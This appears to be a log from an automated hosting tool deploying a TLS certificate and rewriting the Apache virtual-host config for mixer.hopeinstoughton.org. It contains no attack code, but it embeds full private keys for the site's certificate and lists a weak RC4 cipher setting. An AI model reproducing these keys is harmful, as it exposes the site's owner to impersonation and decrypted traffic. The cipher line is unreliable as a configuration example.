+67/xLVCg+dFjSgPEmj1SoB3KPf9fAzSoD93Y4cBp6ut0f+DHguNNavqJMQ4SAw3
Bhsa3uigzp/p+7p2o43gj0+ajeUCgYEA2FzcS78rKaSjfXdmheqHbLkPvhvAoGDe
eRIqgu2ya8k/ggsevbxTPnhKCnXc8qRCBmJCKRlZve5h+RPENZAmkQ/fqebqIXk4
eJM78BzEXtcyO/ThrrDJ0Xy0tt9HGlF7Nxnn+qNdOwNQMNKNO9C5oDX9HtWcuFY1
g5BT458CEwsCgYEA2AFJ6Qitre/em7DmpfMPJegWBS0tDkGNhlVyCEwFNFQvxZCw
NFDeeO5gJco/lfpTqnXirye47tD6EpgYIBe35dg/r4odmmP465KcvSKtxu1O4Jww
lkmgu7qvznAS3cRTeFT+m074ZZXctWhOTfQrxHymVWpo38awRC1T50pbTA0CgYB0
JV1I+EWGZFAzcR5DM0QhlDKkPieosHedDKhvgoQuImmKOMf22JrjRRWSCfVi99RN
sv+LKoWnVMmZOQgyLMDXTGsnvMLg1z7+UyNw4TB1LRZVYz6nVVXxs/0a0j9MHIOF
b829GWdZ34xzuQOCIakUHQdVPxyTRAwUJS0zWs91QwKBgHZ6iAfzXc+Inz5Z4/JR
YdVMp52helXJoCxvVBDp4J5DuoMXQzeEA2AV7o49NDiSiyE/xdxTFRXQKg18xvvQ
9gBQ2myqOywFyJlcclKOTmOaQMAoBYvwzw54wHqKvmx3y4btIM06AqG9RT8hi0BU
u6V8yMvKzkrEN65mlZJiTrMU
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-03 06:00:41: Establishing a connection
2025-11-03 06:00:42: Establishing a connection
2025-11-03 06:00:43:
PUT: /tmp/pkp808032
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_mixer/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-03 06:00:44:
chmod 755 /tmp/pkp808032; /tmp/pkp808032; rm /tmp/pkp808032
2025-11-03 06:00:44:
0
2025-11-03 06:01:08: Establishing a connection
2025-11-03 06:01:09:
PUT: /tmp/pkp459275
#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7
cat > $temp_file <<'endmsg'
8a:dc:40:15:0b:97:ea:a8:de:89:ed:1e:b6:9d:e2:fa
-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBtwwFXN1JRqwHZENRPtBH5XtMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMjM4WhcNMjYwMjAxMDUwMjM3WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA2A+2DCL0kDq6q8+mJ31W2Rsf5acj6NImovE+G7/qNkiiE2H1
A7N2N+XMfUewQihRJmcAwEQseBG5BFzWw9PmHt8w3vBlOeD072228sTl9MJEcxan
NSJ4nnzqMu/o3HR6Ej744E2ri42LeVdO79SU8o3+G2/rDRE9hh9lJzuTteWH+ZlQ
HfJhCRO4jmpteDvFalYY13dmsHAMzs+Xc+e6fUMD2T62x68u9Pnd7pSWQnpbJJli
DtPBwYRdmjv4mjxbU1fF3UM9Qa5hH6HahaEOPkuiYuiJx0YLDZKMFntVvKAYnWKA
wqy1NJdZpVZbD3QH6gsmm+Nk3SBHP/r2G8dQnQIDAQABo4ICKzCCAicwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSjBeqclzpSUXGMCjh9nDCQo5T64TAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMTAuY3JsMIIBBQYKKwYB
BAHWeQIEAgSB9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd
+MMAAAGaSE4VdQAABAMASDBGAiEAr3XI46T2m5rXRazJZlWvoGVxXeRUn+IHdWv8
GfiO1oICIQDh5IpUXwfltQr/fIPROUNvd3KZEtFjXg61SXIXuPWzdQB2ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmkhOFXUAAAQDAEcwRQIgdoAc
a7hfK9n7wLk1fxH1GySw8qkSXOImUg+bWStQSrICIQDVmc858EKEiZtjOSJgVi6e
YywlhRe68nU5prt7C/DzqDANBgkqhkiG9w0BAQsFAAOCAQEABEfBSYbWuSYeNKsC
ih2yR/XVmF6EsO6VOUMWuK4CCdmEsQAA+wEJpgxhw4wSRS2BPb8UOI+IUnPtJ6vR
zR+gU/QiSzTPR5eHQ0L/1tSZsTnzOTOqoL5GJWSBovQrufwVBaK9tUNY3Xj1QsFs
UgJnilGug52mJCM8bf6tIN7dsuAC8aIPA6Uu7Slx04cNMxHb/Ds4Sk53AT51OkxJ
vV/EdL4VB9O9hEugKMqx1GTkZNRka5HroXiXxtYXiGt+2U9h0idsXvEk1mUaDXCv
tPFnJ25xZCSEgI5O4JR8YWxRD3Rb4Tri9Fe+CZGv8NRTdBdiXAZUG43Z49vDuebN
KPmbRg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDYD7YMIvSQOrqr
z6YnfVbZGx/lpyPo0iai8T4bv+o2SKITYfUDs3Y35cx9R7BCKFEmZwDARCx4EbkE
XNbD0+Ye3zDe8GU54PTvbbbyxOX0wkRzFqc1IniefOoy7+jcdHoSPvjgTauLjYt5
V07v1JTyjf4bb+sNET2GH2UnO5O15Yf5mVAd8mEJE7iOam14O8VqVhjXd2awcAzO
z5dz57p9QwPZPrbHry70+d3ulJZCelskmWIO08HBhF2aO/iaPFtTV8XdQz1BrmEf
odqFoQ4+S6Ji6InHRgsNkowWe1W8oBidYoDCrLU0l1mlVlsPdAfqCyab42TdIEc/
+vYbx1CdAgMBAAECggEAK7qCTdKFTOuV/E/6gOONQEONIR3C1swxpajNuTAOZw4s
P2AEBsu7kXSg/noT4k/mnK8cJ82kcmij2Y4wqVGpsXXankRpOF2fNRYvgNL496CZ
2fErxkVDxE/j1otXxcaNLkQwerU9kvEC2XwiLcgInU6/ry3nlK14ljykbFxSeO2s
IHqO2XWzitC7BklnN+t909FM/Jm9oHc8j8GS0IY+brhADwkj7T0HTViDImxmvgPo
67kcGHoSmw9JZZcePFx8wnZxzLAOj2djYMtLqNCxwYFuAnZMPRoTqXBInQSL6Hk+
50PTc79/AGmNVp7ry6Hxk6xf6yxwRuMhTF/A+DjuAQKBgQD/jAli8Hy3qVjJvUfQ
ozjO/N0lYW46dFQCNlgLfCj2AR4Lg1h6s00uiY0X9kq56EFneY4xLZa4NpcRaQLr
thATEqTL1+fIuL9offixvhJQHmBj2Ee74kg+3Hz33Scvb9yyZJvT6Sq2w4n4WfZN
WG6pjCfbeJId86EfFDh59v0R2QKBgQDYccGoPIDWJAxYSwctU+DiD02z4zkmK6Yi
jCaXC1V8IOrwKn0u/JYaKLn3KvEOfJpmjQzkkv3Tth+MBVzMSKL/FgWngmNEXyFA
u+9Tn8rBeqV2q0dGkmsZolcBl+DK82s/TWnTnOzJozj3D9kPDiXY2q9YRVs/ILUK
OfHIkte2ZQKBgQCXO8feTtZwVv9dvPAAUGhxTwKNecCjRW7mNEUc3uja1cRzKdM2
ImC99teSY8bLiOEUHMMC5aj58gyrWAtLdd7DetgebvMUPgnBDDQe9I6f7ao7zKZ/
UaZR1Wj7w1zKXRguVw5Fdgs6SDShzpPOKFStcG2yHAPVR/aFjxDxVTNl2QKBgEv9
fFE1lMIZ+9+Pz+BBH6YeW1h5wRm+n2BntjC3gPbIk9NoB3VUptpeTBQUFnfQlWDF
yq4BUW5f9alyRIdQRTGrqKaL55Acmg8hLEA+zK+rAKauMaL8Su/ACC3+BaUbWx7p
besmoBeW36wV+04G2JDPDlq+Vu/N6uHBQDr8GxHlAoGBALL7GseUyXwldW248Sjx
AdfFxpIDxaec/tSfZF7P8Uj+du68cTGB/xBc4jx84LIsia8716JngAMeOWFFvcGQ
yFqzrV7kLAO67yHWVgXk3lMnqqu7y6H3aOTW+0ZaEO9lLYKDLiuYZ+QszINmk4r6
yvU4uZSjDWtGnsJf/q0B/Mje
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-03 06:01:10:
chmod 755 /tmp/pkp459275; /tmp/pkp459275; rm /tmp/pkp459275
2025-11-03 06:01:10:
dir=/etc/ssl/certs
2025-11-03 06:01:10:
PUT: /tmp/pkp175753
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-03 06:01:11:
chmod 755 /tmp/pkp175753; /tmp/pkp175753; rm /tmp/pkp175753
2025-11-03 06:01:11:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 49
<VirtualHost *:80>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !-d
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f
RewriteRule ^(.*) %{REQUEST_URI} [L]
# if the cookie is missing, redirect to login site, with bounce parameter
RewriteCond %{HTTP_COOKIE} !\bauth=\b
RewriteRule ^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
ProxyRequests off
ProxyVia on
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://192.168.1.8:80/$1 [P,L]
ProxyPass / http://192.168.1.8/
ProxyPassReverse / http://192.168.1.8/
</VirtualHost>
2025-11-03 06:01:11:
PUT: /tmp/pkp484506
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_mixer_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !-d
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f
RewriteRule ^(.*) %{REQUEST_URI} [L]
# if the cookie is missing, redirect to login site, with bounce parameter
RewriteCond %{HTTP_COOKIE} !\bauth=\b
RewriteRule ^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
ProxyRequests off
ProxyVia on
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://192.168.1.8:80/$1 [P,L]
ProxyPass / http://192.168.1.8/
ProxyPassReverse / http://192.168.1.8/
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf= 1'
fi
2025-11-03 06:01:11:
chmod 755 /tmp/pkp484506; /tmp/pkp484506; rm /tmp/pkp484506
2025-11-03 06:01:12:
2025-11-03 06:01:12:
PUT: /tmp/pkp585198
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-03 06:01:12:
chmod 755 /tmp/pkp585198; /tmp/pkp585198; rm /tmp/pkp585198
2025-11-03 06:01:12:
.
2025-11-03 06:01:12: Establishing a connection
2025-11-03 06:01:13:
PUT: /tmp/pkp526318
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-03 06:01:14:
chmod 755 /tmp/pkp526318; /tmp/pkp526318; rm /tmp/pkp526318
2025-11-03 06:01:14:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-11-03 06:01:14:
PUT: /tmp/pkp802271
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:01:15:
chmod 755 /tmp/pkp802271; /tmp/pkp802271; rm /tmp/pkp802271
2025-11-03 06:01:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 2161
<VirtualHost *:80>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !-d
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f
RewriteRule ^(.*) %{REQUEST_URI} [L]
# if the cookie is missing, redirect to login site, with bounce parameter
RewriteCond %{HTTP_COOKIE} !\bauth=\b
RewriteRule ^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
ProxyRequests off
ProxyVia on
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://192.168.1.8:80/$1 [P,L]
ProxyPass / http://192.168.1.8/
ProxyPassReverse / http://192.168.1.8/
</VirtualHost>
2025-11-03 06:01:15:
PUT: /tmp/pkp994971
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:01:16:
